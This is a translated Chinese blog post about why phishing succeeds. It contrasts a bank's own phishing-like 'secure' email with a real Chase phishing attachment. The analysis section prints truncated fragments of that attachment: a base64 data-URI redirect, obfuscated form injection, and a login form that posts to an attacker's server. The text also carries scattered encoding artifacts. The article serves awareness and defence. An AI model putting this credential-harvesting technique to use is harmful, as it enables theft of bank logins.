換個(gè)角度看看,為什么釣魚攻擊總能成功?
當(dāng)我第一次收到銀行發(fā)來的“安全”郵件時(shí),我第一反應(yīng)就是這里是否有詐?因?yàn)樵谖铱磥恚鼘?shí)在是太像釣魚郵件了。這封躺在收件箱里的郵件來源于我銀行經(jīng)理的個(gè)人郵箱地址,而非Chase銀行的官方郵箱。郵件中不僅附帶有一個(gè)HTML頁面,而且還有文字告訴我“在瀏覽器中打開這個(gè)頁面以了解如何進(jìn)行下一步操作”,這一切瞬間讓我提高了警惕。
首先,本身電子郵件這個(gè)東西就是不安全的,更何況是我的銀行還發(fā)送了一封帶有附件的“安全”郵件給我。這看起來就像是一次教科書般的釣魚攻擊,所以我趕緊拿起電話直接打給了我的銀行經(jīng)理。
“不是的,這是合法郵件。我需要你將它打印出來,然后簽署一些文件。”這就是銀行經(jīng)理給我的回答。
但我說到:“首先,郵件發(fā)送人的地址看起來就非常可疑,而且這種郵件不僅要讓我點(diǎn)擊外部鏈接并打開附件,而且還要我在Web表單中填寫我的個(gè)人信息,這誰會信啊?”
銀行經(jīng)理說到:“我完全理解,這確實(shí)會讓人懷疑。但這封郵件沒有任何問題,我的確發(fā)過這封郵件給你,如果需要的話我還可以再發(fā)一次。”
于是乎,他果然又發(fā)了一封給我。這封重發(fā)的郵件看起來與之前那封完全一樣,但這一次我正在與我的銀行經(jīng)理通話,所以我按照要求打開了附件。郵件中有一個(gè)“點(diǎn)擊讀取信息”的按鈕,點(diǎn)擊之后將我重定向到了Chase銀行的安全郵件門戶網(wǎng)站。但是整個(gè)過程讓我感到非常的奇葩,我也將我擔(dān)心的地方告訴了我的銀行經(jīng)理、他的上司、以及Chase的客戶支持部門。
值得一提的是,我們是不可能完完全全地對客戶的行為進(jìn)行安全培訓(xùn)的,而銀行所采用的交互方式與釣魚攻擊幾乎沒有區(qū)別,這就非常危險(xiǎn)了。
攻擊分析
近期,我收到了一封真正的釣魚郵件。這封郵件來自chase.online@chasee.com,它很明顯是封偽造的郵件,但如果不仔細(xì)的話還是看不出什么端倪的。這封郵件聲稱我的銀行賬號近期出現(xiàn)了很多錯(cuò)誤操作,并且跟之前那封真實(shí)的郵件一樣,它也讓我在瀏覽器中打開附件HTML文件并按提示進(jìn)行操作。
但很明顯我不會按它說的做!于是,我把HTML文件下載了下來,然后把它拖到了代碼審查窗口中。我發(fā)現(xiàn),除了正常的HTML代碼之外,文件中還包含一段腳本代碼:
- window.location="data:text/html;base64,PCFET0NUWVBFIEhUTUwg...
這個(gè)頁面會在地址欄中顯示一大堆Base64編碼的數(shù)據(jù),代碼本身包含有Chase銀行官網(wǎng)的腳本、圖片以及指向合法頁面的鏈接,整個(gè)頁面看起來和正常的Chase銀行登錄頁面沒什么區(qū)別。但是,代碼中還包含有其他的腳本代碼(經(jīng)過混淆),這些代碼會在登錄頁面中添加一個(gè)自定義的表單:
- document.write(unescape('%3C%66%6F%72...
在對代碼進(jìn)行了反混淆之后,我發(fā)現(xiàn)所有的代碼都與Chase銀行的真實(shí)登錄頁面一致,只不過表單action屬性指向的是攻擊者所控制的服務(wù)器。
- <form action="http://191..."class="button" method="post" name="submit"id="submit">